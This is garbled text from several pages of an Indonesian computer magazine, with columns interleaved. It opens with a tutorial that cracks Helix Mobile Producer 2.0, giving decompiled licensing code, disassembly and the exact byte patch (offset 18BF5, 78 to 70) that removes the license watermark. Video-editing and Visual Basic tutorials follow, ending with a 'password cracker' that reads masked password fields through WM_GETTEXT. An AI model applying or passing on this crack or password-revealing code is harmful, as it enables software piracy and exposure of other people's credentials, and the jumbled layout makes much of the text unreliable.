-HMPROD.lic, yang penting memiliki ekstensi .lic (bisa NativeLibrary.getLicensingStatusMessage();
dibuktikan saat instalasi). Jika pengujian license key lolos, }
maka akan class Java com.envivio.zola.ZolaMain yang catch(Exception exception)
{
terdapat pada file Ees.jar akan dijalankan. exception.printStackTrace();
}
Meng-crack Helix Mobile Producer 2.0 untuk meloloskan if(NativeLibrary.isLicenseOk())
license key yang telah dimodifikasi ternyata agak sukar, APPLICATION_LICENSING_STATUS =
NativeLibrary.getLicensingStatusMessage();
karena selain diuji oleh Helix Mobile Producer.exe juga System.err.println(APPLICATION_TITLE);
diuji oleh com.envivio.zola.ZolaMain. Preset.setVersionInformation(APPLICATION_MAJOR_DOT_MINOR,
APPLICATION_BUILD_NUMBER);
Ada yang menarik saat penulis mempelajari source-code }
com.envivio.zola.ZolaMain yang dihasilkan oleh DJ Java
public static void loadUserSettings()
Decompiler, yaitu dipergunakannya JNI (Java Native In- {
terface). Source-code com.envivio.zola.ZolaMain seleng- try
{
kapnya yang dihasilkan oleh DJ Java Decompiler sbb: Preferences.getInstance().setLocalFile(APPLICATION_PATH +
File.separator + "preferences.properties");
package com.envivio.zola; PreferencesCapture.setPreferenceFile(APPLICATION_PATH +
File.separator + "capt-preferences.properties");
import com.envivio.hugo.app.EncoderRegistry; }
import catch(Exception exception)
com.envivio.hugo.app.tv.mediapanel.parameter.AbstractParamRenderer; {
import com.envivio.hugo.media.parameters.ParameterListParser; exception.printStackTrace();
import com.envivio.hugo.util.Directories; }
import com.envivio.zola.core.ParameterGroupManager; }
import com.envivio.zola.core.StreamFactory;
import com.envivio.zola.core.preset.Preset; public static void installEncoders()
import com.envivio.zola.encoder.NativeEngine; {
import com.envivio.zola.gui.dndtree.PresetTree;
import com.envivio.zola.util.NativeLibrary; EncoderRegistry.addEncoder(StreamFactory.getVideoEncoderDescription());
import java.io.File;
import java.io.PrintStream; EncoderRegistry.addEncoder(StreamFactory.getAudioEncoderDescription());
EncoderRegistry.addEncoder(StreamFactory.getFilterDesc());
// Referenced classes of package com.envivio.zola: EncoderRegistry.addEncoder(StreamFactory.getAudioFiltersDescription());
// ZolaGUI, Preferences, PreferencesCapture EncoderRegistry.addEncoder(StreamFactory.getFakeExporterDesc());
public class ZolaMain EncoderRegistry.addEncoder(StreamFactory.getAdvancedVideoSettingsDesc());
{ EncoderRegistry.addEncoder(StreamFactory.getPresetPropertiesDesc());
}
public static void main(String args[])
{ public static boolean hasGUI()
NativeLibrary.init(); {
NativeEngine.startZolaEngine(); return true;
ParameterListParser.setLicensingParameterChecker(new _cls1()); }
try
{ public static void onClosing()
if(!NativeLibrary.isLicenseOk()) {
{ Preferences.getInstance().saveToFile();
System.err.println("Failed to start: licensing problem."); PresetTree.saveTreeToFile();
System.exit(1); boolean flag = true;

Vol. IV No. 02 NeoTek 19


NeoStart

if(hasGUI()) .text:10018BD2 lea edx, [esp+70h+var_4C]


flag = ZolaGUI.canClose(); .text:10018BD6 push edx
if(flag) .text:10018BD7 push offset aProductwater_0 ;
{ "productWatermarking = %s"
NativeEngine.stopZolaEngine(); .text:10018BDC push 0C0h
System.exit(0); .text:10018BE1 push offset aDBuildZolaal_8 ;
} "D:\\build\\zolaAll\\zola\\native\\win32\\ees_"...
} .text:10018BE6 push offset unk_1019F020
.text:10018BEB call sub_1000B140
public static int getCurrentBranding() .text:10018BF0 lea eax, [esp+84h+var_4C]
{ .text:10018BF4 push offset aTrue ; char *
return !PRODUCT_NAME_CODE.toLowerCase().startsWith("hmprod") ? 0 : 10; .text:10018BF9 push eax ; char *
} .text:10018BFA call ds:__imp__stricmp
.text:10018C00 test eax, eax
public ZolaMain() .text:10018C02 setz cl
{
}
Penulis berpikir untuk menghilangkan watermark adalah
public static String BRANDING_FULL_NAME = ""; dengan mengubah nilai string true. Oleh karena itu, penulis
public static String BRANDING_EXT_NAME = "";
public static String BRANDING_COPYRIGHT = ""; melacak apakah label aTrue dipergunakan pada bagian-
public static String BRANDING_COPYRIGHT2 = ""; bagian yang lain. Sebuah hasil yang menarik pun tampak:
public static String PRODUCT_NAME_CODE = "";
public static String APPLICATION_TITLE = "";
public static String PRODUCT_BUILD_IDENTIFIER = "?";
public static String APPLICATION_MAJOR_DOT_MINOR = "?";
public static String APPLICATION_LICENSING_STATUS = "";
public static String APPLICATION_BUILD_NUMBER = "?";
public static String APPLICATION_PATH = System.getProperty("application.path"); Sepertinya, yang perlu dilakukan adalah mengubah nilai
public static final int APP_RELEASE_STRING = 1; offset aTrue menjadi nilai offset aFalse. Untuk mengeta-
public static final int APP_BUILD_NUMBER = 2;
public static final int APP_MAJOR_DOT_MINOR = 3; hui nilai heksanya, dapat dipergunakan tab Hex View.
public static final int BRANDING_EES = 0; Untuk push offset aTrue memiliki kode mesin 68 78 01
public static final int BRANDING_HMPROD = 10; 1A 10, sedangkan untuk push offset aFalse memiliki kode
mesin 68 70 01 1A 10. Kode mesin ini berlaku umum, ka-
private class _cls1
rena nilai offset merupakan nilai alamat absolut.
implements LicensingParameterChecker
{

public boolean isAvailable(String s)


Dengan demikian, untuk menghilangkan watermark pada
{ Helix Mobile Producer 2.0 kita cukup mengubah
if(s.startsWith("!"))
return .text:10018BF4 push offset aTrue
!NativeLibrary.isLicensingModuleAvailable(s.substring(1).toLowerCase()); dengan
else
.text:10018BF4 push offset aFalse
return NativeLibrary.isLicensingModuleAvailable(s.toLowerCase());
}
Bagi yang mahir dalam pemrograman, tentunya cukup
mudah untuk membuat aplikasi untuk meng-crack-nya
private final void constructor$0()
(yang dibutuhkan hanyalah kemampuan baca/tulis file
{
binary). Ada dua teknik yang dapat dipakai, yang pertama
}
adalah langsung menulisi pada offset yang telah ditentu-
kan dan yang kedua adalah melakukan pencarian berda-
_cls1()
sarkan kode mesin tertentu (biasanya dipilih yang unik)
{
lalu dilakukan penulisan.
constructor$0();
} Jika anda memilih cara pertama, ubahlah pada offset 18BF5
} yang memiliki nilai heksa 78 menjadi 70. Jika anda memi-
lih cara kedua, penulis sarankan untuk mempergunakan:
} .text:10018BF0 lea eax, [esp+84h+var_4C]
.text:10018BF4 push offset aTrue
Penulis kemudian berpikir, jangan-jangan Helix Mobile
Producer 2.0 memang mempergunakan native dalam C yang memiliki kode mesin: 8D 44 24 38 68 78 01 1A 10,
language untuk proses encoding, karena kalau memper- karena kode mesin tersebut unik dan dekat dengan bagian
gunakan Java prosesnya bisa lama. yang akan diubah.
Dari hasil analisa, file NativeEngine.dll berisi library Tapi jika Anda malas membuat aplikasi untuk meng-crack-
(pustaka) yang paling banyak dipergunakan, termasuk nya (seperti halnya penulis), anda bisa mempergunakan
salah satunya untuk proses encoding. Oleh karena itu, aplikasi heksa editor (penulis sendiri mempergunakan
langkah selanjutnya yang dilakukan penulis adalah men- Norton Utility lama yang masih under DOS).
disassemble file NativeEngine.dll dengan IDA. Kemudian, Kini, sekalipun license key yang anda terima memiliki
penulis mencari kata watermark pada tab IDA View-A. pernyataan untuk membuat watermark, namun hasil
Sebuah hasil yang menarik pun tampak: encoding-nya mulus tanpa watermark, baik untuk format
.text:10018BC0 push ebx 3GPP, MP4, dan RM (RealMedia).
.text:10018BC1 push ecx
.text:10018BC2 push `offset aProductwaterma ; "productWatermarking" Penulis mengingatkan bahwa yang diuraikan hanyalah
.text:10018BC7 stosb untuk keperluan pendidkan, bahwa suatu aplikasi ter-
.text:10018BC8 push offset aHmprod ; "HMPROD"
.text:10018BCD call sub_10003C10 kadang mempunyai kelemahan sehingga bisa di-crack.

20 NeoTek Vol. IV No. 02


NeoStyle

BA S I C V I D E O E D I T I N G
Mengenal Pinnacle Studio 8
Andi Ismayadi (Fuzk3_kendi@yahoo.com) melanjutkan bahasan tentang basic video editing
yaitu combining yang diteruskan dengan editing menggunakan Pinnacle Studio 8.
ETELAH KITA MENYELEKSI SCENE YANG AKAN KITA EDIT juga terlalu memakan banyak
S lalu memotongnya yang kita lakukan sekarang
adalah menggabungkan kembali dan memberi efek
memori dalam prosesnya,
sehingga dapat menghambat
Video editing pada dasar-
nya adalah proses-proses
sebagai berikut:
khusus dan mengedit adegan-adegan itu sehingga meng- pekerjaan kita dalam mengedit • Encoding
hasilkan karya yang dapat kita banggakan karena proses video. Rata-rata Premiere dipa- • Cutting
ini kita lakukan sendiri tanpa bantuan orang lain terutama kai oleh editor kawakan sekelas • Combining
editor film yang sudah terbiasa dalam hal mengedit video. Hollywood. Tetapi Pinnacle juga • Editing
Kita perlu mengenal software-software video editing. Untuk tidak kalah dan sudah me- • Encoding (lagi)
pemula tidak terlalu perlu untuk memakai Adobe Premiere ngantongi 8 Emmy Awards. He- • Burning
karena sudah ada software lain yang lebih user friendly dan batnya software ini juga men-
tak kalah bagus dengan Premiere, yaitu Pinnacle Studio 8. dukung real time video capture dari camcorder ketika
Walaupun terkesan untuk pemula software ini sangat hebat camcorder terhubung ke komputer.
dengan banyaknya efek-efek transisi dan pengeditan gambar. Trial version software ini dapat anda peroleh di situs di
Selain itu masih banyak software video editing lain seperti htttp://www.pinnaclesys.com dan registrasi online di http://
Ulead Video Studio, Roxio, dan lain-lain. www.pinnaclesys.com/autoregister.asp
Kenapa kita tidak memakai Premiere? Karena tools-toolsnya Sekarang mari kita berkenalan dengan Pinaccle Studio 8.
terlalu kompleks dan menyulitkan para pemula. Premiere

Mengenal Video Editing Software: Pinnacle Studio 8

TAMPILAN BAGIAN PROSES EDITING REAL TIME CAPTURE


1 Tiga bagian utama: Capture, Edit, dan Make Movie. Tam-
pilan bagian proses editing Pinnacle Studio 8 user friendly
2 Terlihat gambar yang ditangkap dari camcorder apabila
sudah terhubung ke komputer. Untuk memulainya tekan
dengan menu toolbar edit video di sebelah kiri. tombol Start Capture, dan untuk setting klik tombol
Setting di samping tombol Capture tadi.

BAGIAN ENCODING EFEK TRANSISI


3 Terlihat adanya format-format encode, dan juga encode
ke file Streaming atau langsung share ke teman anda
4 Efek yang terlihat apabila anda menginginkan efek per-
pindahan adegan ke adegan berikutnya secara tidak
ketika anda terhubung ke internet serta ke format VCD. mendadak. Dengan adeanya efek ini, video anda akan
mendapatkan nilai tambah.

Vol. IV No. 02 NeoTek 21


NeoStyle

TEXT SUBTITLE MEMASUKKAN JUGA STILL IMAGE


5 Di sini anda dapat menambahkan sendiri teks sesuai
selera untuk menambah daya tarik selain memberi
6 Foto-foto koleksi pun dapat anda satukan kedalam
video anda dan dijadikan sebuah VCD.
informasi yang diperlukan mengenai video anda.

EFEK SUARA VIDEO MENU FILE


7 Anda dapat memasukkan efek suara yang disatukan
kedalam vcd anda nantinya. Ini adalah salah satu kele-
8 Berbagai macam Video Menu file, yang nantinya dapat
menjadi sebuah video interaktif, tapi ini sangat jarang
bihan Pinnacle Studio 8. dipakai. Selain sulit penggunaannya, juga sangat jarang
diperlukan.

MENGEDIT ADEGAN KONFIGURASI SUARA


9 Pada bagian ini, anda dapat melakukan perubahan
terhadap setiap adegan (scene) pada video anda.
10 Konfigurasi suara pada video mencakup membesarkan
volume sampai penambahan suara.

22 NeoTek Vol. IV No. 02


NeoStyle

BA S I C V I D E O E D I T I N G
Efek Transisi Hollywood FX
Selain Pinnacle Studio 8, efek-efek lain dapat dihasilkan menggunakan Pinnacle Hollywood FX.
Andi Ismayadi (fukz3_kendi@yahoo.com) memperkenalkannya pada anda.
ETELAH BERKENALAN DENGAN PINNACLE STUDIO 8, DAN ngan Pinnacle Hollywood FX yang dapat anda peroleh di
S telah melihat-lihat efek-efek transisinya. Kini sa-
atnya anda membuat sendiri efek transisi sesuai
http://hollywoodfx.pinnaclesys.com, anda dapat membuat
efek-efek transisi yang sesuai apabila tidak terdapat dalam
dengan selera. Ketika anda menonton film, anda mungkin Pinnacle Studio 8. Sekarang kita lihat apa yang dapat
penasaran bagaimana caranya pada film itu diselipkan ade- dilakukan dengan software ini.
gan yang menawan ketika adanya pergantian adegan. Setelah pengenalan dasar software video editing ini, selan-
Dalam artikel ini anda dapat mencoba membuat efek-efek jutnya akan dijelaskan tuntas teknik-teknik editing sehing-
transisi untuk nantinya digunakan dalam video anda. De- ga menghasilkan karya seni yang dapat anda banggakan.

Mengenal Video Editing Software: Pinnacle Hollywood FX

TAMPILAN AWAL KOLEKSI EFEK OPSI PENGATURAN EFEK TRANSISI


1 Tampilan awal ke-
tika anda membuka
2 TRANSISI
Katalog efek-efek tran-
3 Basic Options. Mengatur gerakan layar transisi melalui gli-
der disamping kanan. Pada Advance Options dapat meng-
Pinnacle Hollywood sisi yang sudah tersedia atur transisi lebih jauh lagi, seperti mengatur bayangan,
FX. dalam Hollywood FX. cahaya, ketajaman gambar, dan lain-lain.

MENGATUR HOST VIDEO POSISI EFEK TRANSISI


4 Menentukan Host Video mana yang akan diganti nanti-
nya ketika pergantian adegan, misal Host Video 1 untuk
5 Selanjutnya adalah menentukan posisi dari efek transisi
yang telah anda buat tadi, serta menentukan berbagai
adegan awal lalu muncul adegan berikutnya yang ada macam opsi seperti rotasi, lekukan efek, dan lain seba-
di Host Video 2. gainya.

Vol. IV No. 02 NeoTek 23


NeoTutor

VI S UAL BAS I C WO R KS H O P
Mengenal Visual Basic
Banyak security tool maupun aplikasi jaringan lainnya yang dibuat dengan Visual Basic.
MA Rody Candera (odyxb@melva.org) memperkenalkan Visual basic 6 sebagai pengantar untuk
menjadi pengembang security tool, bukan sekedar pemakai.
ISUAL BASIC MERUPAKAN BAHASA Toolbar Menu
V pemograman termudah dan
tercepat untuk menghasilkan
Command (perintah) yang
Toolbar Menu

mewakili dari tugas ter-


aplikasi atau program yang bekerja tentu. Ada menu yang me-
pada sistem operasi Windows. Sampai rupakan induk dari bebe-
saat artikel ini dibuat, Visual Basic su- rapa command yang ter- Project Explorer
dah mencapai versi 6 (Visual Basic 6.0) himpun menjadi satu yang Form Window
yang menunjukkan versi tersebut me- tiap-tiap command memi-
rupakan penyempurnaan dari versi- liki fungsi tersendiri, se-
versi sebelumnya. perti menu File di dalam- Properties Window
Ada tiga jenis Visual Basic yang ada di nya menghimpun bebe-
pasaran saat ini, yaitu: rapa command: Open Pro- Toolbox
1. Standard Edition/Learning Edition ject, New Project, Add Pro-
Versi standar yang mencakup sarana dasar ject, Remove Project, Save Form Object

Visual Basic untuk mengembangkan aplikasi. Project, dll. Selain itu, ada Form Layout Window
2. Profesional Edition yang berupa atau berben- Gambar. Tampilan

Versi ini terdapat sarana ekstra untuk tuk icon-icon yang juga Microsoft Visual Basic

programmer profesional. merupakan menu standar.


Gambar 1. Ruang lingkup kerja Visual Basic.
3. Enterprise Edition Toolbox
Versi ini dikhususkan untuk programmer
yang ingin mengembangkan aplikasi remote Icon-icon yang merupakan
computing atau cient/server. komponen kontrol yang
Pada kesempatan artikel ini, tidak mem- nantinya diletakkan di
bicarakan secara khusus dari tiap versi Form Object yang berfung-
dan jenis Visual Basic tetapi lebih meng- si membentuk interface ap- Gambar 2. Toolbar Menu.
arah kepada yang umum saja. likasi kepada penggunanya.
Pada pertama kali Visual dapat pada Visual Basic, seperti: color
Instalasi Visual Basic Basic diaktifkan, komponen kontrol yang (warna), size (ukuran), font (huruf),
tampak mungkin seperti Gambar 2. dan lain sebagainya.
Untuk menginstalasi Visual Basic dibu-
tuhkan spesifikasi: Untuk menampilkan komponen kontrol Form Layout Window
1. Sistem Operasi Windows lainnya dilakukan dengan cara: klik menu
2. Space hardisk Project > Components atau dengan me- Daerah yang menampilkan informasi
± 200 Megabytes (tergantung pada jenis
nekan kombinasi tombol keyboard yaitu mengenai posisi munculnya form apli-
Ctrl+T kasi di layar monitor ketika dijalankan.
Visual Basic yang dibutuhkan)
Dan yang tidak kalah pentingnya, CD Form Window & Form Object Selain komponen yang telah dipapar-
Installer Visual Basic yang banyak ter- kan di atas, ada komponen lain yang
Daerah kerja utama untuk memben- tidak kalah penting untuk diketahui
dapat di toko-toko yang menjual soft- tuk interface aplikasi. Pada Form Ob-
ware untuk komputer. Jika sudah ter- yaitu View Code dan View Object yang
ject ini nantinya komponen kontrol dapat dijumpai pada bagian Project
sedia, masukkan CD Installer ke CD yang dibutuhkan akan diletak. Properties
ROM anda dan buka isinya, kemudian
klik setup.exe untuk memulai instalasi. Project Explorer
Perhatikan tiap-tiap kotak dialog yang Daerah yang menampilkan
muncul ketika sedang melakukan in- file-file aplikasi Visual Ba-
Pointer Label
stalasi, isi yang benar jika anda meng- sic, file-file yang dimaksud PictureBox
atau yang terdapat pada TextBox CommandButton
harapkan instalasi berjalan sukses. Frame
Project Explorer berupa CheckBox ComboBox
Ruang Lingkup Kerja Visual Basic form, module, class module, OptionButton ListBox VScrollBar
HScrollBar
dan lain sebagainya. Timer DirListBox
Ada baiknya kita mengenal ruang ling- DriveListBox
kup kerja Visual Basic. Ruang lingkup Properties Window FileListBox Line
Shape
kerja maksudnya adalah komponen- Daerah yang mengandung Image OLE
Data
komponen yang terdapat pada Visual semua informasi/sifat
Basic. mengenai object yang ter-
Gambar 3. Toolbox.

24 NeoTek Vol. IV No. 02


NeoTutor

Contoh:
Aritmatika Relasi/Perbandingan Logika
View Code Dim Jumpa As Date Operator Keterangan Operator Keterangan Operator Keterangan
Jumpa = "20/05/2003"
View Object atau ^ pangkat < lebih kecil dari And menghubungkan dua
Jumpa = #20/05/2003# ekspresi
Gambar 4. Form Layout Window. Jumpa = "20:00:20"
atau * perkalian > lebih besar dari Eqv menyepadankan dua
View Code Jumpa = #20:00:20# ekspresi

Untuk menampilkan editor kode yang Type Data Variant


/ pembagian <= lebih kecil atau Imp melibatkan dua
sama dengan ekspresi
di tempat tersebut nantinya akan di-
tuliskan kode-kode program dari tiap Jika aplikasi yang Mod modulus/sisa <> tidak sama dengan Xor menunggalkan dua
komponen kontrol yang diletakkan di mengalami kekacau- pembagian ekspresi

Form Object. an, maka VB akan + pertambahan = sama dengan Not penyanggahan suatu
menyelesaikannya ekspresi
View Object dengan menentu- - pengurangan Like membandingkan
Untuk menampilkan kembali Form kan variabel yang & penggabungan
Window dan Form Object. menyebabkan ke- dua ekspresi
kacauan tersebut
Bahasa Pemrograman sebagai variant. Conditional Statement
Sekarang masuk pada tahap bahasa pe- Conditional Statement adalah pernya-
mograman yang diperlukan nantinya Type Data Object
taan yang menganalisa suatu keadaan
untuk menuliskan kode-kode program Type data object adalah type data yang dan mengambil decision (keputusan)
agar aplikasi yang dibuat dapat ber- dapat menggantikan objek-objek VB. berdasarkan hasil analisa. Jika kondisi
jalan sebagaimana yang dikehendaki. Contoh: benar maka akan dijalankan perintah
Bahasa pemograman pada Visual Basic Dim InputForm As Form, InputCommand As
tertentu dan jika kondisi salah maka
tidak terlalu jauh berbeda dengan ba- CommandButton akan dijalankan perintah yang lain.
Set InputForm = Form1
hasa pemrograman yang ada seperti Set InputCommand = Command1 IF
C, Fotran, Pascal, dan lain sebagainya. InputForm.Caption = "Type Data Object"
Ada unsur penting yang diperlukan InputForm.Width = 3000 Digunakan untuk membandingkan
seperti: Variabel, Konstanta, Tipe Data, suatu kondisi tertentu.
Deklarasi Variabel
Operator, dan lain-lain. Table AND Table OR Table NOT
Untuk membuat
Variabel dan Type Data program perlu Nilai 1 Nilai 2 Hasil Nilai 1 Nilai 2 Hasil Nilai Hasil
Variabel adalah simbol atau nama yang membuat variabel True True True True True True True False
digunakan untuk mewakili suatu nilai terlebih dahulu. True False False True False True False True
yang mempunyai nama dan menyim- Syntaks penulis- False False False False False False
pan type data. annya:
Aturan penamaan variabel sbb: Dim [namavariabel] As [namadata] Syntaks:
1. Dimulai dengan sebuah huruf. If condition Then
2. Tidak lebih dari 255 karakter.
Contoh: [statements]
Dim asan As byte End If
3. Tidak boleh sama dengan nama statement, Dim input As Integer
fungsi, metode, objek, dan lain sebagainya. Contoh:
4. Tidak ada spasi, tanda titik (.), tanda seru (!), Setelah mengisi datanya, contoh: If asan Then
karakter (@ - & - $ - #). asan = 255 MsgBox “Hello Boss”
Input = "Nama Anda" End If
Type data adalah jenis data yang di-
simpan dalam variabel. Jenis type da- Konstanta Select Case
ta ada tujuh macam yaitu: Integer,
Long, Date, Object, Byte, dan Variant. Konstanta adalah variabel yang nilai- Digunakan untuk melakukan pemilih-
nya konstan. Konstan berarti tidak an kondisi yang jumlahnya lebih dari
Tipe Data Boolean berubah atau tetap. satu atau bertingkat.
Type data ini menyimpan nilai True Aturan penamaan konstanta sbb: Syntaks:
atau False. Select Case expression
1. Diawali dengan kata Conts.
Contoh: 2. Dimulai dengan sebuah huruf.
[Case expressionlist-n]
[statements-n]
Dim asan As Boolean 3. Tidak lebih dari 255 karakter. End Select
If asan True Then
asan = False 4. Tidak boleh sama dengan nama staement, Contoh:
Else fungsi, metode, objek, dan lain sebagainya.
asan = True Select Case pilih
End If
5. Untuk nilai bertipe String dan Date Case 0
menggunakan tanda petik ("), atau Form1.Caption = “Nol”
pasangan tanda pagar (#) untuk mengapit Case 1
Type Data Date nilainya. Form1.Caption = “Satu”
End Select
Type data ini terdiri dari bagian bilang-
an bulat dan bilangan pecahan dimana
Operator
bilangan bulat merupakan pernyataan Operator adalah penghubung antara dua/ Looping
tanggal dan dan bilangan pecahan me- lebih variabel. Ada tiga jenis operator Looping adalah instruksi program untuk
rupakan pernyataan waktu. Untuk peng- yaitu operator aritmetika, operator re- melakukan perulangan berdasar kon-
isian variabel Date digunakan tanda lasi/ perbandingan, dan operator logika. disi tertentu. Jumlah pengulangan
petik (") atau memakai tanda pagar (#). dapat dikendalikan.

Vol. IV No. 02 NeoTek 25


NeoTutor

Do While 2. Function Procedur Memulai Visual Basic


Prosedur yang menghasilkan nilai
Perulangan yang dilakukan selama 3. Property Procedur
Sampai disini, sudah mencapai tahap
(while) suatu kondisi memenuhi sya- Prosedur yang menghasilkan nilai dan pe- lanjutan yaitu memulai Visual Basic
rat bernilai true. nugasan nilai tertentu serta mengatur objek untuk membuat aplikasi yang diingin-
Syntaks: Sub Procedure kan. Untuk memulainya yaitu:
Do [{While} condition]
Sub procedure adalah blok kode yang Start > Programs > Microsoft Visual
[statements]
dijalankan sebagai tanggapan atas Studio 6.0 > Microsoft Visual Basic
Loop
terbentuknya event. 6.0
Contoh:
Do While asan > 0 Syntaks untuk sub procedure:
asan = asan + 1
print "asan while to"; asan [Private|Public] [Static] Sub namaprosedur (argumen)
Loop ...
pernyataan...
...
Do Until End Sub
Perulangan ini merupakan kebalikan
dari Do While Ketika prosedur dipanggil maka pernya-
taan-pernyataan yang apit oleh Sub dan
Syntaks: End Sub akan dijalankan. Sub procedur
Do [{Until} condition] dapat diletakkan di form module, stan-
[statements]
Loop dard module, dan class module. Sedang-
kan argumen sebuah prosedur mirip
Contoh: deklarasi variabel. Ada dua jenis prose-
Do Until asan = 10 dur utama, yaitu:
asan = asan + 1
Print "asan until to"; asan 1. General procedure
Loop

For Next
Gambar 7. Menjalankan Visual Basic 6.
Perulangan yang digunakan untuk
mengulang sebanyak yang ditentukan. Setelah itu akan muncul kotak dialog
Syntaks: dimana nantinya anda diminta untuk
For [namavariabel] = start To end (step-step) memilih jenis aplikasi yang akan
[statements] dibutuhkan. Untuk aplikasi standar,
Next pilih Standard EXE dan kemudian klik
Gambar 5. General Procedure.
Contoh: tombol Open.
For asan = 1 To 10
Berfungsi untuk memberitahu aplikasi cara Setelah itu anda akan menuju kepada
Print "asan For to"; asan
Next asan penyusunan instruksi-instruksi tertentu tampilan Microsoft Visual Basic (lihat
sehingga menghasilkan proses atau per- gambar tampilan Microsoft Visual
nyataan umum yang dapat digunakan oleh Basic pada Gambar 8). Sampai disini
While When event-event prosedur pada tubuh program.
anda sudah dapat memulai membuat
Perulangan selama kondisi bernilai
2. Event procedure aplikasi yang diinginkan.
true.
Syntaks:
While [namavariabel]
[statements]
When

Contoh:
While asan < 10
asan = asan + 2
Print "asan whiwe to"; asan
When Gambar 6. Event Procedure

Prosedur dan Fungsi Berfungsi untuk menanggapi event


pengguna aplikasi. Event-event prosedur
Prosedur dan fungsi merupakan blok misalnya Form_Load, Command1_Click,
komponen program yang memiliki dan lain sebagainya.
proses dan manfaat untuk menghemat Syntaks dari event procedure:
penulisan kode.
[Private|Public] [Static] Sub namaprosedur
Procedure (argumen)
...
Procedur adalah blok-blok komponen pernyataan...
...
yang merupakan kelompok kode yang End Sub
membentuk dapat berupa sekelompok
kode pengolahan teks, perhitungan, dlsb. Contoh:
Beberapa macam prosedur pada VB: Private Form_Load()
1. Sub Procedur MsgBox "Hello...", , "Sapaku"
Prosedur yang tidak menghasilan nilai End Sub
Gambar 8. Tampilan awal Visual Basic 6.

26 NeoTek Vol. IV No. 02


NeoTutor

VI S UAL BAS I C WO R KS H O P
Password Cracker Buatan Sendiri
Banyak security tool maupun aplikasi jaringan lainnya yang dibuat dengan Visual Basic.
MA Rody Candera (odyxb@melva.org) memulai salah satu bahasan ini
dengan membuat sendiri Password Cracker.

ISUALBASIC (VB), BAHASA PE- Berdasarkan interface tersebut kita akan Feature Image1 dan Image2, atur pro-
V mograman yang dikembang-
kan oleh Microsoft ini makin
tahu apa-apa feature yang nantinya
kita butuhkan. Feature-feature yang
perties pada opsi Picture untuk mema-
sukkan file ico yang sudah dipersiap-
asyik untuk dibahas. VB mudah untuk kita butuhkan ada sebagai berikut: kan, Image3 tidak perlu dimasukan
dipelajari dan asyik membuat sendiri 1. 2 Buah tombol (command button)
picture-nya. Sesuaikan besar form.
program-program yang sekiranya kita
perlukan. Orang banyak mengatakan 2. 1 buah Label Kode Program
Visual Basic masih memiliki kelemah- 3. 1 buah TextBox
an, penulis juga berpikir begitu untuk 4. 3 buah Image
beberapa hal dan feature-nya.
5. 1 buah PictureBox
Tapi walau bagaimanapun, Visual Basic
masih sangat bermanfaat. Terbukti de- Hal lain yang kita butuhkan dan
ngan cukup ramainya beredar virus- perlu persiapkan adalah sebuah
virus yang dibuat menggunakan VB. gambar dalam bentuk file ico (file
Program-program perkantoran yang icon) yang nantinya kita posisikan
Pada code editor command1 ketikkan kode program
juga dibuat menggunakan VB, bahkan pada feature Image. Selanjutnya mari yang berupa pesan cara pemakaian program.
untuk keperluan ber-internet maupun kita memulai proses pembuatannya.
hacking juga sudah lumayan ramai. Aktifkan Microsoft Studio VB anda,
dan mulai ikuti langkah-langkah [Command1]
Berdasarkan hal tersebut penulis pada
beberapa kesempatan menyajikan ar-
berikut. 1 Double click pada Feature,
tikel pembuatan aplikasi-aplikasi pada code editor command1
Feature Posisi ketikkan kode programnya,
menggunakan VB dalam edisi NeoTek
yang lalu, sekarang, maupun yang Di atas telah diterangkan feature yang yaitu di antara baris:
akan datang. kita butuhkan dalam aplikasi yang akan
Private Sub command1_Click()
kita kita buat sekarang ini. Posisikan
Penulis sejujurnya akui bahwa idenya feature-feature tersebut sesuai dengan dan
berdasarkan artikel karya Happy Chan- Interface yang sudah dibuat. End Sub
draleka yaitu password cracking Sandi
Yudha. Kita akan mencoba membuat Kode program seperti berikut di
program yang miliki kemampuan sa- bawah:
ma seperti itu menggunakan VB. MsgBox "Gunakan mouse: Klik dan tahan gambar
dan lalu seret mendekati password yang terlihat
Kebayang nggak sih... kalau ternyata seperti bintang²", vbCritical, "How"
anda nanti mampu membuatnya?
Object: Klik
Jangan hanya dibayangkan, langsung untuk
dicoba saja. Ternyata gampang kok... memasukkan
Ayooo anda pasti bisa... kode proram
untuk tiap
Seperti yang sudah-sudah, pembahas- feature.
an yang pernah saya sajikan mengenai
pembuatan aplikasi VB, pertama yang Gambar 2. Layout interface program yang akan dibuat.
perlu kita siapkan sebelum memulai Properties
perjalanan membuat program adalah
mempersiapkan Interface Program.
Interface program yang sudah penulis
siapkan seperti terlihat pada Gambar 1.
Kode program untuk Command2 hanyalah End.

[Command2]
2 Selanjutnya memasukkan
kode program untuk Featu-
Gambar 3. Interface program yang akan dibuat
re Command2. Kode program
Selanjutnya adalah mengatur proper- yang dimasukkan untuk Fea-
ties dari tiap-tiap feature. Properties ture Command 2 sangat
opsi Caption dan BackColor. Untuk pendek, yaitu End.
Gambar 1. Interface program yang akan dibuat.

Vol. IV No. 02 NeoTek 27


NeoTutor

Procedure: Klik Dim TargetLen As Long, Hasil As String, hwnd As Long


untuk milih Korban = False
procedure kode Image1.Picture = Image3.Picture
program pada Me.MousePointer = 0
Object Call GetCursorPos(LetakMouse)
hwnd = WindowFromPoint(LetakMouse.X,
LetakMouse.Y)
hwnd = GetTopLevelParent(hwnd)
TargetLen& = SendMessage(hwnd&,
WM_GETTEXTLENGTH, 0&, 0&)
Hasil$ = String(TargetLen&, 0&)
Call sendmessagebystring(hwnd&, WM_GETTEXT,
TargetLen& + 1, Hasil$)
Text1.Text = Hasil$

Opsi Mouse Down untuk feature Image1


[Image1]
3 Untuk feature Image1 pada
kode editor, klik procedure Opsi Add Module pada Project.
lalu pilih opsi Mouse Down Module
dan masukkan kode pro-
gramnya seperti berikut: Opsi MouseMove pada feature Image 1.
8 Add Module. Kita memer-
lukan sebuah Module, maka
Korban = True
Image1.Picture = Image2.Picture dari itu tambahkan sebuah
Me.MousePointer = 99 [Image1] module dengan cara klik
Me.MouseIcon = Image3.Picture
Text1.Text = "" 6 Masih pada feature Image1
untuk penulisan kode pro-
Project di standard toolbar.
pilih opsi Add Module.
gram. Kembali klik proce-
dure, pilih opsi MouseMove
lalu ketikkan kode program:
Dim oDyxb As String, oDyxbOy As String * 255,
TempHwnd As Long
If Korban = False Then Exit Sub
Call GetCursorPos(LetakMouse)
TempHwnd = WindowFromPoint(LetakMouse.X,
LetakMouse.Y)
Call GetoDyxbOy(TempHwnd, oDyxbOy, 255)
Opsi MouseMove pada feature Image1. oDyxb = Trim(Left(oDyxbOy, InStr(oDyxbOy,
vbNullChar) - 1))
[Image1]
4 Masih pada feature Image1
untuk penulisan kode pro-
gram. Kembali klik procedure
dan pilih opsi MouseMove
lalu ketikkan kode program:
